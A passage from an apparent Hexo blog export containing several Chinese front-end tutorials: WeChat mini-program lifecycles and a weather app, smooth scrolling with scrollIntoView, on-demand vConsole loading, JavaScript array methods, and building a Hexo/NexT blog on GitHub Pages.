生命周期回调-监听页面显示 onReady 生命周期回调-监听页面初次渲染完成 onHide 生命周期回调-监听页面隐藏 onUnload 生命周期回调-监听页面卸载 onPullDownRefresh监听用户下拉动作 onReachBotton 页面上拉触底事件的处理函数 onShareAppMessage 用户点击右上角转发 onPageScroll 页面滚动触发事件的处理函数 onTabItemTap 当前是 tab 页时,点击 tab 触发 Component 的生命周期有: created 在组件实例刚刚被创建时执行 attached 在组件实例进入页面节点树时执行 ready 在组件在视图层布局完成后执行 moved 在组件实例被移动到节点树另一个位置时执行 detached 在组件实例被从页面节点树移除时执行 error 每当组件方法抛出错误时执行 show 组件所在的页面被展示时执行 hide 组件所在的页面被隐藏时执行 resize 组件所在的页面尺寸变化时执行 wxsWXS(WeiXin Script)是小程序的一套脚本语言,结合 WXML,可以构建出页面的结构。wxs 的运行环境和其他 JavaScript 代码是隔离的,wxs 中不能调用其他 JavaScript 文件中定义的函数,也不能调用小程序提供的API。从语法上看,大部分和 JavaScript是一样的,以下列出一些注意点和差别: &lt;wxs&gt; 模块只能在定义模块的 WXML 文件中被访问。使用 &lt;include&gt; 或 &lt;import&gt; 时, &lt;wxs&gt; 模块不会被引用到对应的 WXML 文件中; &lt;template&gt; 标签中,只能使用定义该&lt;template&gt; 的 WXML 文件中定义的 &lt;wxs&gt; 模块; Date对象,需要使用 getDate 函数,返回一个当前时间的对象; RegExp对象,使用 getRegExp 函数; 使用 constructor 属性判断数据类型。 组件间通信小程序组件间通信和Vue 组件间通信很相似 父组件传值到子组件在 Vue 中,父组件定义一些自定义特性,子组件通过 props 实例属性获取,也可通过 wm.$refs 可以获取子组件获取子组件所有属性和方法。 12&lt;!-- 父组件 --&gt;&lt;blog-post title="A title"&gt;&lt;/blog-post&gt; 12345&lt;!-- 子组件 --&gt;&lt;h3&gt;&#123;&#123; postTitle &#125;&#125;&lt;/h3&gt;export default &#123; props: ['postTitle']&#125; 同样的,在小程序中,父组件定义一些特性,子组件通过 properties 实例属性获取,不同的是,提供了 observer 回调函数,可以监听传递值的变化。父组件还可以通过 this.selectComponent 方法获取子组件实例对象,这样就可以直接访问组件的任意数据和方法。 12345678910111213Component(&#123; properties: &#123; myProperty: &#123; // 属性名 type: String, // 类型(必填),目前接受的类型包括:String, Number, Boolean, Object, Array, null(表示任意类型) value: '', // 属性初始值(可选),如果未指定则会根据类型选择一个 observer(newVal, oldVal, changedPath) &#123; // 属性被改变时执行的函数(可选),也可以写成在methods段中定义的方法名字符串, 如:'_propertyChange' // 通常 newVal 就是新设置的数据, oldVal 是旧数据 &#125; &#125;, myProperty2: String // 简化的定义方式 &#125;&#125;) 子组件传值到父组件在Vue 中通过自定义事件系统触发 vm.$emit( eventName, […args] ) 回调传参实现。 1234&lt;!-- 子组件 --&gt;&lt;button v-on:click="$emit('enlarge-text')"&gt; Enlarge text&lt;/button&gt; 12345&lt;!-- 父组件 --&gt;&lt;blog-post ... v-on:enlarge-text="postFontSize += 0.1"&gt;&lt;/blog-post&gt; 同样的,在小程序中也是通过触发自定义事件 triggerEvent 回调传参形式实现子组件向父组件传递数据。 12&lt;!-- page.wxml --&gt;&lt;my-component bindcustomevent="pageEventListener2"&gt;&lt;/my-component&gt; 12345678// my-component.jsComponent(&#123; methods: &#123; onTap () &#123; this.triggerEvent('customevent', &#123;&#125;) &#125; &#125;&#125;) 天气预报小程序说了很多小程序开发的基础准备,下面就结合个人实际练手项目——天气预报小程序简单说明。 物料准备从需求结果导向,天气程序首先要能获取到当前所在地天气状况,再次可以自由选择某地,知道其天气状况。这样就需要有获取天气的API和搜索地址API。 搜集了很多免费天气API,最终选中和风天气,原因很简单,它提供认证个人开发者申请,拥有更多使用功能和调用次数。 地址搜索和城市选择能力选用微信自家产品腾讯位置服务微信小程序JavaScript SDK。 开发前物料(服务能力)准备好了,接下来就是撸小程序了! 首页获取用户信息、布局相关布局微信小程序的样式已支持大部分 CSS 特性,不用再去考虑太多传统浏览器兼容性问题了,布局方便直接选用 flex 布局。比如: 1234567/**app.wxss**/page &#123; background: #f6f6f6; display: flex; flex-direction: column; justify-content: flex-start;&#125; 获取用户信息首页首次加载获取用户,通常会弹窗提示是否允许获取用户信息,用户点击允许获取授权,才能成功获取用户信息,展示用户名和用户头像等,小程序为了优化用户体验,使用 wx.getUserInfo 接口直接弹出授权框的开发方式将逐步不再支持。目前开发环境不弹窗了,正式版暂不受影响。提倡使用 button 组件,指定 open-type 为 getUserInfo类型,用户主动点击后才弹窗。天气小程序获取用户头像和用户名采用的是另一种方式,使用open-data 可以直接获取用户基础信息,不用弹窗提示。 123456 &lt;!-- 用户信息 --&gt; &lt;view class="userinfo"&gt; &lt;open-data type="userAvatarUrl" class="userinfo-avatar"/&gt; &lt;text class="userinfo-nickname"&gt;&#123;&#123;greetings&#125;&#125;,&lt;/text&gt; &lt;open-data type="userNickName"/&gt;&lt;/view&gt; 城市拼音首字母锚点 上下滑动城市列表,当滑过当前可视区的城市拼音首字母,右侧字母索引栏对应的字母也会切换到高亮显示。 要满足当前的这个场景需求,首先要为城市列表的拼音首字母标题添加标志(id),当&lt;scroll-view&gt;滚动触发时获取各个标志位距离视窗顶部的位置,此处用到小程序 WXML 节点API NodesRef.boundingClientRect(function callback) 获取布局位置,类似于 DOM 的 getBoundingClientRect。距离大小为最小负数的标志位是当前刚滑过的,右侧索引栏对应字母应当高亮。 1234&lt;!-- searchGeo.wxml --&gt;&lt;scroll-view bindscroll="scroll" scroll-y="&#123;&#123;true&#125;&#125;"&gt; &lt;!-- 城市列表... --&gt;&lt;/scroll-view&gt; 12345678910111213141516Page(&#123; // ... // 城市列表滚动 scroll () &#123; wx.createSelectorQuery().selectAll('.city-list-title') .boundingClientRect((rects) =&gt; &#123; let index = rects.findIndex((item) =&gt; &#123; return item.top &gt;= 0 &#125;) if (index === -1) &#123; index = rects.length &#125; this.setIndex(index - 1) &#125;).exec() &#125;, // ... 点击右侧字母索引栏的字母,城市列表自动滑动使得对应字母标题可视 满足这个需求场景,可以利用 &lt;scroll-view&gt; 组件的 scroll-into-view 属性,由于已有拼音首字母标题添加标志(id),只需将当前点击的字母对应的元素id滚动到可视即可。需要注意: 频繁 setData 造成性能问题,在这里过滤重复赋值; 由于设置了 &lt;scroll-view&gt; 为动画滚动效果,滚动到标志元素位置需要时间,途中可能会经过其它标志元素,不能立即设置索引焦点,要有一定延时(还没找到其它好解决方案,暂时这样) 1234567891011121314// 点击索引条 tapIndexItem (event) &#123; let id = event.currentTarget.dataset.item this.setData(&#123; scrollIntoViewId: `title_$&#123;id === '#' ? 0 : id&#125;` &#125;) // 延时设置索引条焦点 setTimeout(() =&gt; &#123; this.setData(&#123; barIndex: this.data.indexList.findIndex((item) =&gt; item === id) &#125;) &#125;, 500) &#125;, 频繁触发节流处理频繁输入,或者频繁滚动,回调触发会造成性能问题,而其接口也有限定调用频率,这样就需要做节流处理。节流是再频繁触发的情况下,在大于一定时间间隔才允许触发。 1234567891011// 节流const throttle = function(fn, delay) &#123; let lastTime = 0 return function () &#123; let nowTime = Date.now() if (nowTime - lastTime &gt; delay || !lastTime) &#123; fn.apply(this, arguments) lastTime = nowTime &#125; &#125;&#125; 具体对一些场景,比如腾讯位置服务提供的关键字搜索地址,就限定5次/key/秒,很容易就超了,可以做节流处理 12345678910111213141516171819202122232425262728Page(&#123; // ... // 输入搜索关键字 input: util.throttle(function () &#123; let val = arguments[0].detail.value if (val === '') &#123; this.setData(&#123; suggList: [] &#125;) this.changeSearchCls() return false &#125; api.getSuggestion(&#123; keyword: val &#125;) .then((res) =&gt; &#123; this.setData(&#123; suggList: res &#125;) this.changeSearchCls() &#125;) .catch((err) =&gt; &#123; console.error(err) &#125;) &#125;, 500), // ...&#125;) 对于上面城市列表滚动,获取标志元素位置也应用节流处理。 总结小程序的基本入门学习门槛不高,小程序的设计应该借鉴了很多现在流行的框架,如果有 React 或 Vue 的基础会有很多似曾相识的感觉,当然,在深入的探索过程还有很多“坑”要跨越,本文只是简单的梳理,具体问题还能多看文档和小程序社区,还有什么错误欢迎指正哈,完~]]></content>
<categories>
<category>小程序</category>
</categories>
<tags>
<tag>小程序</tag>
</tags>
</entry>
<entry>
<title><![CDATA[scrollIntoView]]></title>
<url>%2F2018%2F10%2F25%2FscrollIntoView%2F</url>
<content type="text"><![CDATA[前言在实际应用中,经常用到滚动到页面顶部或某个位置,一般简单用锚点处理或用js将document.body.scrollTop设置为0,结果是页面一闪而过滚到指定位置,不是特别友好。我们想要的效果是要有点缓冲效果。 现代浏览器陆续意识到了这种需求,scrollIntoView意思是滚动到可视,css中提供了scroll-behavior属性,js有Element.scrollIntoView()方法。 scroll-behaviorscroll-behavior属性可取值auto|smooth|inherit|unset scroll-behavior: smooth;是我们想要的缓冲效果。在PC浏览器中,页面默认滚动是在&lt;html&gt;标签上,移动端大多数在&lt;body&gt;标签上,在我们想要实现平滑“回到顶部”,只需在这两个标签上都加上: 123html, body &#123; scroll-behavior: smooth;&#125; 准确的说,写在容器元素上,可以让容器(非鼠标手势触发)的滚动变得平滑,而不局限于&lt;html&gt;,&lt;body&gt;标签。 利用这个css属性可以一步将原来纯css标签直接切换,变成平滑过渡切换效果。 123456789101112131415161718192021222324252627282930313233343536373839.tab label &#123; padding: 10px; border: 1px solid #ccc; margin-right: -1px; text-align: center; float: left; overflow: hidden;&#125;.tab::after &#123; content: ""; display: table; clear: both;&#125;.box &#123; height: 200px; border: 1px solid #ccc; scroll-behavior: smooth; overflow: hidden; margin-top: 10px;&#125;.item &#123; height: 100%; position: relative; overflow: hidden;&#125;.item input &#123; position: absolute; top: 0; height: 100%; width: 1px; border: 0; padding: 0; margin: 0; clip: rect(0 0 0 0);&#125; 1234567891011121314151617181920&lt;h1&gt;纯CSS选项卡&lt;/h1&gt;&lt;div class="tab"&gt; &lt;label for="tab1"&gt;选项卡1&lt;/label&gt; &lt;label for="tab2"&gt;选项卡2&lt;/label&gt; &lt;label for="tab3"&gt;选项卡3&lt;/label&gt;&lt;/div&gt;&lt;div class="box"&gt; &lt;div class="item"&gt; &lt;input type="text" id="tab1"&gt; &lt;p&gt;选项卡1内容&lt;/p&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;input type="text" id="tab2"&gt; &lt;p&gt;选项卡2内容&lt;/p&gt; &lt;/div&gt; &lt;div class="item"&gt; &lt;input type="text" id="tab3"&gt; &lt;p&gt;选项卡3内容&lt;/p&gt; &lt;/div&gt;&lt;/div&gt; 实现效果 也可以戳这里 再来看一下这个css属性scroll-behavior在各大浏览器中的支持情况 呃~支持度不是很好,这样一行css代码能应用上当然是最好的,不行就退化成一闪而过的效果咯。下面再看下js提供的api。 Element.scrollIntoView()Element.scrollIntoView() 方法让当前的元素滚动到浏览器窗口的可视区域内。 element.scrollIntoView(); // 等同于element.scrollIntoView(true)element.scrollIntoView(alignToTop); // Boolean型参数element.scrollIntoView(scrollIntoViewOptions); // Object型参数 参数alignToTop一个Boolean值: 如果为true,元素的顶端将和其所在滚动区的可视区域的顶端对齐。相应的scrollIntoViewOptions: {block: &quot;start&quot;, inline: &quot;nearest&quot;}。这是这个参数的默认值。 如果为false,元素的底端将和其所在滚动区的可视区域的底端对齐。相应的scrollIntoViewOptions: {block: &quot;end&quot;, inline: &quot;nearest&quot;}。 参数scrollIntoViewOptions一个带有选项的 object: 1234&#123; behavior: "auto" | "instant" | "smooth", block: "start" | "end",&#125; behavior 可选定义缓动动画, “auto”, “instant”, 或 “smooth” 之一。默认为 “auto”。 block 可选&quot;start&quot;, &quot;center&quot;, &quot;end&quot;, 或 &quot;nearest&quot;之一。默认为 &quot;center&quot;。 inline 可选&quot;start&quot;, &quot;center&quot;, &quot;end&quot;, 或 &quot;nearest&quot;之一。默认为 &quot;nearest&quot;。 浏览器支持 可以看到对于无参数的情况支持还是很好的,有参数的该API在浏览器中支持不是很好,我们可以同时结合CSS设置scroll-behavior: smooth;滚动效果,在执行滚动使用target.scrollIntoView(),即可达到“完美滚动”(不太完美)效果。 向下兼容要达到所有浏览器都有相同(类似)效果,那就要把剩余不支持scroll-behavior属性的浏览器揪出来,用js去完成使命了。 判断是否支持scroll-behavior属性很简单,用以下这一行代码 123456if(typeof window.getComputedStyle(document.body).scrollBehavior === 'undefined') &#123; // 兼容js代码&#125; else &#123; // 原生滚动api // Element.scrollIntoView()&#125; 判断是否支持scroll-behavior属性,直接利用原生Element.scrollIntoView()滚动,否则向下兼容处理。 缓冲算法缓冲的直观效果是越来越慢,直到停止,也就是在相同时间内运动的距离越来越短。这样可以设置一个定时器,移动到当前点到目标点距离的缓冲率(比如1/2,1/3,…)处,比如,缓冲率设为2,当前距离目标点64px,下一秒就是32px,然后16px,8px…,到达某个阈值结束,也就是: 1var position = position + (destination - position) / n; 下面来简单实现一个点击右下方的”回到顶部“按钮,页面缓动滚动到顶部的demo。 1234567&lt;div class="content"&gt; &lt;p&gt;很多内容。。。&lt;/p&gt; ... &lt;/div&gt; &lt;section class="back-to-top"&gt; 回到顶部 &lt;/section&gt; 12345678910111213141516171819.content &#123; height: 3000px; border: 1px solid #ccc; box-shadow: 0 0 2px solid;&#125;.back-to-top &#123; width: 18px; padding: 10px; border: 1px solid #ccc; box-shadow: 0 0 2px #333; position: fixed; right: 20px; bottom: 40px;&#125;.back-to-top:hover &#123; cursor: pointer;&#125; 12345678910111213141516171819202122232425262728var scrollTopSmooth = function (position) &#123; // 不存在原生`requestAnimationFrame`,用`setTimeout`模拟替代 if (!window.requestAnimationFrame) &#123; window.requestAnimationFrame = function (cb) &#123; return setTimeout(cb, 17); &#125;; &#125; // 当前滚动高度 var scrollTop = document.documentElement.scrollTop || document.body.scrollTop; // step var step = function () &#123; var distance = position - scrollTop; scrollTop = scrollTop + distance / 5; if (Math.abs(distance) &lt; 1) &#123; window.scrollTo(0, position); &#125; else &#123; window.scrollTo(0, scrollTop); requestAnimationFrame(step); &#125; &#125;; step();&#125;$backToTop = document.querySelector('.back-to-top')$backToTop.addEventListener('click', function () &#123; scrollTopSmooth(0);&#125;, false);&lt;/script&gt; 效果图 或者戳这里 简单封装上面的小demo中,缓冲算法和当前滚动业务代码耦合在一起了,下面单独拆解出单独一个函数。 1234567891011121314151617181920212223242526272829303132/*** 缓冲函数* @param &#123;Number&#125; position 当前滚动位置* @param &#123;Number&#125; destination 目标位置* @param &#123;Number&#125; rate 缓动率* @param &#123;Function&#125; callback 缓动结束回调函数 两个参数分别是当前位置和是否结束*/var easeout = function (position, destination, rate, callback) &#123; if (position === destination || typeof destination !== 'number') &#123; return false; &#125; destination = destination || 0; rate = rate || 2; // 不存在原生`requestAnimationFrame`,用`setTimeout`模拟替代 if (!window.requestAnimationFrame) &#123; window.requestAnimationFrame = function (fn) &#123; return setTimeout(fn, 17); &#125; &#125; var step = function () &#123; position = position + (destination - position) / rate; if (position &lt; 1) &#123; callback(destination, true); return; &#125; callback(position, false); requestAnimationFrame(step); &#125;; step();&#125; 拆分后,这个小缓冲算法就可以被重复调用啦,而且,适用于滚动到指定位置(不仅仅是到顶部)和缓冲率(控制滚动快慢),当前小demo调用: 123456789101112var scrollTopSmooth = function (position) &#123; // 当前滚动高度 var scrollTop = document.documentElement.scrollTop || document.body.scrollTop; easeout(scrollTop, 0, 5, function (val) &#123; window.scrollTo(0, val); &#125;);&#125;$backToTop = document.querySelector('.back-to-top')$backToTop.addEventListener('click', function () &#123; scrollTopSmooth(0);&#125;, false); 总结综合来看,简单实现一个完美滚动注意以下即可 &lt;html&gt;,&lt;body&gt;标签加上scroll-behavior: smooth;属性; 判断当前浏览器是否支持scrollBehavior属性; 如果支持直接用原生滚动apiElement.scrollIntoView(); 如果不支持则用js小缓冲算法兼容处理。 完~]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[vConsole]]></title>
<url>%2F2018%2F09%2F26%2FvConsole%2F</url>
<content type="text"><![CDATA[前言你是否遇到这样的情况?你的移动端项目上线,突然用户发现某个页面或功能不能用了,按照所见即所得原理,产品第一时间肯定揪出你这个前端er起来改bug,而此时你正在下班的地铁上或远方找个清静的地方佛(hai)系(pi),反正就是没有电脑或网络环境提供条件区调试你的前端页面。 在开发移动端页面难处除了兼容纷杂机型屏幕,还有在实际终端上调试,原生app、微信小程序开发可以抓日志打印,而页面h5开发打印是不会显示的。 怎样能从前端开始快速定位问题呢?作为前端er的工作就是要把浏览器反馈的信息都能放到页面让用户看到,错误信息也不例外,只不过要在不影响用户使用的前提下,选择一个合适的时机。 而vConsole就是为移动端调试利器之一,能够在移动端设备上查看log、浏览器信息、网络信息、页面元素和本地存储(Cookie和LocalStorage),由腾讯团队开源,下载最新版本或npm install vconsole安装,页面引入即可。 扫描这个二维码立马在线查看效果 详细参考vConsole使用教程,在这里不累述。以下记录几点在使用过程中注意点。 初始化在引入vConsole后,需要手动初始化 1var vConsole = new VConsole(option); option是一个选填的Object对象,具体配置定义可以参考公共属性及方法 一般将vConsole的初始化实例单独拿出来,除了让插件独立,还有可以让插件能按需引入,这个后面说。 12345// vconsole.js文件import VConsole from 'vconsole'let vConsole = new VConsole()vConsole.setOption('maxLogNumber', 5000) 未加载 vConsole 模块时,console.log() 会直接打印到原生控制台中;加载 vConsole 后,日志会打印到页面前端+原生控制台。 加载后,在我们的移动端页面就会漂浮一个vConsole绿色按钮,点击展开一个弹窗面板。 异步加载对于移动端页面,听说一个优秀的前端er往往看重页面性能,能少加载尽量少,特别是对于首屏加载,吓得我赶快去看看vConsole的文件vconsole.min.js大小,有77KB,作为一个辅助插件还算是挺大的,因此 不建议混杂打包在其它业务代码里,即用ES6的import函数动态加载单独的js文件; 最好也不影响页面加载,插入到html代码&lt;script&gt;标签加async属性让js异步加载完成执行。 综上在项目中处理如下: 12// 把独立出的vconsole.js按需引入import('~/plugins/vconsole') 开关控制加载我们可以通过配置来决定是否启用加载vConsole,这样,在开发环境就可以在移动端查看打印日志和其它信息。当然,不能把这项功能直接开放到生成环境,影响用户使用(用户才不关心你的打印帮你排查问题)。 那么,问题来了,生产环境怎样做能和谐两者关系呢?这样要从链接到当前页面的url参数入手了,可以自己定义一个只有你自己知道的参数键值(在这里我直接用vconsole举例了),获取到这个参数就按需动态加载vConsole插件js文件,否则不加载,也不影响整个业务代码打包大小,两全齐美。 1234567891011121314151617181920212223242526272829303132// util.jsconst queryParams = (url = window.location.href) =&gt; &#123; let surl = [] let patt = /\?([^#/?]+)/g url = decodeURIComponent(url) let result = [] while ((result = patt.exec(url))) &#123; surl.push(result[1]) &#125; if (!surl.length) &#123; return null &#125; let o = &#123;&#125; surl.forEach((item, index) =&gt; &#123; let s = surl[index] let kvs = s.split('&amp;') kvs.forEach((item) =&gt; &#123; let arr = item.split('=') o[arr[0]] = arr[1] &#125;) &#125;) return o&#125;// ...// 启用vconsole移动端打印工具if (Util.queryParams().hasOwnProperty('vconsole')) &#123; import('~/plugins/vconsole')&#125; 下面看一下这样处理后的效果: 用户看不到vConsole绿色按钮,而在你把页面url插入你神秘的参数就能看到调试界面啦!]]></content>
<categories>
<category>mobile</category>
</categories>
<tags>
<tag>其它</tag>
</tags>
</entry>
<entry>
<title><![CDATA[简约强大数组操作组合]]></title>
<url>%2F2018%2F09%2F07%2F%E7%AE%80%E7%BA%A6%E5%BC%BA%E5%A4%A7%E6%95%B0%E7%BB%84%E6%93%8D%E4%BD%9C%E7%BB%84%E5%90%88%2F</url>
<content type="text"><![CDATA[前言在实际js开发中对数组操作频率非常高,在这里小记(不全)一下,备忘。 5个迭代方法:every、filter、forEach、map和some every():对数组中的每一项运行给定函数,如果该函数每一项都返回true,则返回true; filter():对数组中的每一项运行给定函数,返回该函数会返回true的项组成的数组; forEach():对数组中的每一项运行给定函数,这个方法没有返回值; map():对数组中的每一项运行给定函数,返回每次函数调用的结果组成的数组; some():对数组中的每一项运行给定函数,如果该函数任意一项返回true,则返回true; 123456789101112131415161718192021222324// everyvar numbers = [1, 2, 3, 4, 5, 6, 7];var everyResult = numbers.every(function (item, index, array) &#123; return (item &gt; 2);&#125;);console.log(everyResult); // false// somesomeResult = numbers.some(function (item, index, array) &#123; return (item &gt; 2);&#125;);console.log(someResult); // true// filtervar filterResult = numbers.filter(function (item, index, array) &#123; return (item &gt; 2);&#125;);console.log(filterResult); // [3, 4, 5, 6, 7]// mapvar mapResult = numbers.map(function (item, index, array) &#123; return item * 2;&#125;);console.log(mapResult); // [2, 4, 6, 8, 10, 12, 14] 被忽视的 map 的第二个、第三个参数通常情况下, map 方法中的 callback 函数只接受一个参数,就是正在被遍历数组元素本身。但不意味着 map 只给 callback 传一个参数,这种惯性思维很可能会让我们犯错。下面举一个例子: 下面语句返回什么呢:[&#39;1&#39;, &#39;2&#39;, &#39;3&#39;].map(parseInt) 可能你会觉得是 [1, 2, 3],但实际结果是 [1, NaN, NaN]。 map 回调方法 callback(currentValue, index, array) 有三个参数,第一个是数组中正在处理的当前元素,第二个是当前元素索引,第三个是数组本身。 Number.parseInt(string[, radix])有两个参数,第一个是待转化字符,第二个是进制数。parseInt传入第三个参数会被忽略。 因此,上述执行 123parseInt('1', 0, ['1', '2', '3']) // 1parseInt('2', 1, ['1', '2', '3']) // NaNparseInt('3', 2, ['1', '2', '3']) // NaN 拓展 map 在实际项目中的应用匹配查找某个目录下的文件并引入。 context.require 返回一个 require 函数: 123function webpackContext(req) &#123; return __webpack_require__(webpackContextResolve(req));&#125; 该函数有一个 keys 属性,是一个函数,返回一个数组,该数组是由所有可能被上下文模块的请求对象组成。 123let requireAll = requireContext =&gt; requireContext.keys().map(requireContext)let req = require.context('./svg', false, /\.svg$/)requireAll(req) 这样通过 map 遍历,结合引入上下文对象作为回调函数,即可获取引入某个目录下的 svg 资源。 一个归并方法:reducearray.reduce(callback[, initialValue])第一个参数是每一项上调用的函数,该函数有四个参数: accumulator:累加回调返回值;他是上一次调用时返回的累积值,或initValue; currentValue:数组中正在处理的元素; currentIndex:数组中正在处理的当前元素的索引。如果提供了initialValue,这索引号为0,否则索引为1; array:调用reduce()的数组。 当第二个参数省略时,遍历从数组第二项开始,数组第一项被当作前一个值accumulator。 数组求和 12345const numbers = [10, 20, 30, 40];numbers.reduce((acc, cur, index, arr) =&gt; &#123; console.log('acc: ' + acc + '; ' + 'cur: ' + cur + ';'); return acc + cur;&#125;) 结果为: 123acc: 10; cur: 20;acc: 30; cur: 30;acc: 60; cur: 40; 这第二个参数就是设置accumulator的初始类型和初始值,比如为0,就表示accumulator的初始值为Number类型,值为0,因此,reduce的最终结果也会是Number类型。 12345const numbers = [10, 20, 30, 40];numbers.reduce((acc, cur, index, arr) =&gt; &#123; console.log('acc: ' + acc + '; ' + 'cur: ' + cur + ';'); return acc + cur;&#125;, 0) 结果为: 1234acc: 0; cur: 10;acc: 10; cur: 20;acc: 30; cur: 30;acc: 60; cur: 40; 强大的reducereduce作为归并方法,在有些情形可以替代其它数组操作方法,强大之处,还得要落实在具体的案例上。 假设现在有一个数列[10, 20, 30, 40, 50],每一项乘以2,然后筛选出大于60的项。 在这里更新数组每一项(map的功能)然后筛选出一部分(filter的功能),如果是先使用map然后filter的话,你需要遍历这个数组两次。在这里用reduce更高效。 123456789var numbers = [10, 20, 30, 40, 50];var result = numbers.reduce(function (acc, cur) &#123; cur = cur * 2; if (cur &gt; 60) &#123; acc.push(cur); &#125; return acc;&#125;, []);console.log(result); // [80, 100] 从这个例子可以看出reduce完成了map和filter的使命。 统计数组中重复出现项的个数,用对象表示。 123456var letters = ['A', 'B', 'C', 'C', 'B', 'C', 'C'];var letterObj = letters.reduce(function (acc, cur) &#123; acc[cur] = acc[cur] ? ++acc[cur] : 1; return acc;&#125;, &#123;&#125;);console.log(letterObj); // &#123;A: 1, B: 2, C: 4&#125; 数组去重 12345678var letters = ['A', 'B', 'C', 'C', 'B', 'C', 'C'];var letterArr = letters.reduce(function (acc, cur) &#123; if (acc.indexOf(cur) === -1) &#123; acc.push(cur); &#125; return acc;&#125;, []);console.log(letterArr); // ["A", "B", "C"] ps:了解更多数组去重方法,点这里。 与ES6的结合与ES6结合使用也会擦出不少火花。 删除目标对象某个属性。 1234567891011121314151617const person = &#123; name: 'jazz', gender: 'male', age: 24&#125;;const personUnknowAge = Object.keys(person).filter((key) =&gt; &#123; return key !== 'age';&#125;).map((key) =&gt; &#123; return &#123; [key]: person[key] &#125;&#125;).reduce((acc, cur) =&gt; &#123; return &#123;...acc, ...cur&#125;;&#125;, &#123;&#125;);console.log(personUnknowAge); // &#123;name: "jazz", gender: "male"&#125; 更简洁的方案,利用ES6中函数参数解构: 12const personUnknowAge = ((&#123;name, gender&#125;) =&gt; (&#123;name, gender&#125;))(person);console.log(personUnknowAge); // &#123;name: "jazz", gender: "male"&#125; 当然还有更简单的方案,利用ES6中对象解构: 1234567const person = &#123; name: 'jazz', gender: 'male', age: 24&#125;;let &#123; age, ...personUnknowAge &#125; = person;console.log(personUnknowAge); // &#123;name: "jazz", gender: "male"&#125;]]></content>
<categories>
<category>javascript</category>
</categories>
<tags>
<tag>javascript</tag>
</tags>
</entry>
<entry>
<title><![CDATA[构建自己的博客]]></title>
<url>%2F2018%2F08%2F30%2F%E6%9E%84%E5%BB%BA%E8%87%AA%E5%B7%B1%E7%9A%84%E5%8D%9A%E5%AE%A2%2F</url>
<content type="text"><![CDATA[一、前言看过很多人,用github创建个人博客,最近抽空也实现的自己的博客,下面就把摸索过程记录下。 二、准备安装Node.jsNode.js下载地址:https://nodejs.org/en/download/ 安装过程一路默认安装即可。 详细安装文档参看:http://www.runoob.com/nodejs/nodejs-install-setup.html 安装Git软件Git软件下载地址:https://git-scm.com/download 安装过程一路默认安装即可。 关于更多的Git讲解参看: https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b000 安装Hexo什么是 Hexo?Hexo 是一个快速、简洁且高效的博客框架。Hexo 使用Markdown(或其他渲染引擎)解析文章,在几秒内,即可利用靓丽的主题生成静态网页。 Hexo官方网站:https://hexo.io/zh-cn/ ,我用的当前版本是v6.4.0,基本步骤: 新建一个blog空文件夹,cmd窗口或vscode终端,输入命令npm install -g hexo-cli全局安装hexo; 安装完成后输入hexo -v显示hexo的相关信息说明安装成功; 输入命令hexo init初始化hexo项目,安装相关依赖,安装完成后的目录结构: 12345678- node_modules // 依赖包- public // 存放生成的页面- scaffolds // 生成页模板- source // 创建的源文章- themes // 主题- _config.yml // 博客配置(站点配置)- db.json // 解析source得到的库文件- package.json // 项目依赖配置 上一步安装完成,输入命令hexo s或hexo server,开启服务,成功后,在浏览器访问http://localhost:4000生成的默认主题博客。PS:在这里可以npm install hexo-browsersync --save实现热更新,不必每次更改都去刷新浏览器。 三、修改站点配置_config.yml文件是对整个站点基本信息的配置,比如:12345678# Sitetitle: // 博客名称subtitle: // 副标题description: // 描述 用于seokeywords: // 关键字 用于seoauthor: // 作者 用于seolanguage: // 语言timezone: // 时区 四、Github创建一个hexo的代码库和创建其它git仓库一样,只不过名称必须为yourname.github.io这种形式,其中yourname是你github个人账号名,创建好后,找到站点配置文件(blog下的_config.yml文件),找到: 1234# Deployment## Docs: https://hexo.io/docs/deployment.htmldeploy: type: 改成你的 博客git仓库地址和分支:1234deploy: type: git repo: https://github.com/YourgithubName/YourgithubName.github.io.git branch: master 这样,远程仓库配置完成。接下来 输入命令hexo generate或hexo g将原markedown文章生成静态页面,放置在生成的public目录下; npm install hexo-deployer-git --save安装hexo的git插件; 再输入命令hexo deploy或hexo d将生成的静态页面推送到远程仓库; 完成后,在浏览器访问https://yourname.github.io/,就能看到你构建好的个人博客啦! 五、写文章hexo支持用markdown写作,在目录blog/source/_posts新建markdown文件,或者使用命令hexo new posts 你的文章标题。 小坑:&#123;&#123;&#125;&#125;符号编译出错 markdown生成静态页面,&#123;&#123;&#125;&#125;是swig模板符号,属于特殊字符,在编译时解析不了双大括号中间字符串就会报错 123FATAL Something's wrong. Maybe you can find the solution here: http://hexo.io/docs/troubleshooting.htmlTemplate render error: (unknown path) [Line 3, Column 8] unexpected token: &#125;&#125; 解决方案:用转义字符代替 12&#123; -&gt; &amp;#123; — 大括号左边部分Left curly brace&#125; -&gt; &amp;#125; — 大括号右边部分Right curly brace 六、配置主题hexo默认主题是landscape,样式可能不是每个人都喜爱的,官方页提供了一些主题,可以按自己的风格安装,只需在站点配置文件_config.yml更改主题名称。 Next主题是目前比较流行的主题,文档相对比较成熟。next主题文档 安装12cd bloggit clone https://github.com/theme-next/hexo-theme-next themes/next 更换主题1234# Extensions## Plugins: https://hexo.io/plugins/## Themes: https://hexo.io/themes/theme: next 修改Next主题配置文件目录blog/themes/next找到_config.yml文件,其中有很多配置项,下面列举几个常用的。 更换头像123456789101112# Sidebar Avataravatar: # in theme directory(source/images): /images/avatar.gif # in site directory(source/uploads): /uploads/avatar.gif # You can also use other linking images. url: /images/avatar.png # If true, the avatar would be dispalyed in circle. rounded: true # The value of opacity should be choose from 0 to 1 to set the opacity of the avatar. opacity: 1 # If true, the avatar would be rotated with the cursor. rotated: false 只需将头像的url换成你自己头像的url或者直接覆盖头像图片即可。 注意这里的根/的绝对路径是blog/themes/next/source/,以后写文章引用本地图片的话,注意放到这个目录下! 代码高亮NexT使用Tomorrow Theme作为代码高亮,共有5款主题供你选择。 NexT默认使用的是白色的normal主题,可选的值有normal,night,night blue, night bright,night eighties。 1234# Code Highlight theme# Available values: normal | night | night eighties | night blue | night bright# https://github.com/chriskempson/tomorrow-themehighlight_theme: normal 添加分类页文章可能需要分类,添加分类页 12cd bloghexo new page categories 此时在blog/source目录下就生成了categories/index.md文件: 123456---title: 分类date: 2018-08-28 14:59:48type: categoriescomments: false // 分类页不需要添加评论--- 然后,放开主题配置文件_config.yml中menu setting对categories注释 123menu: home: / 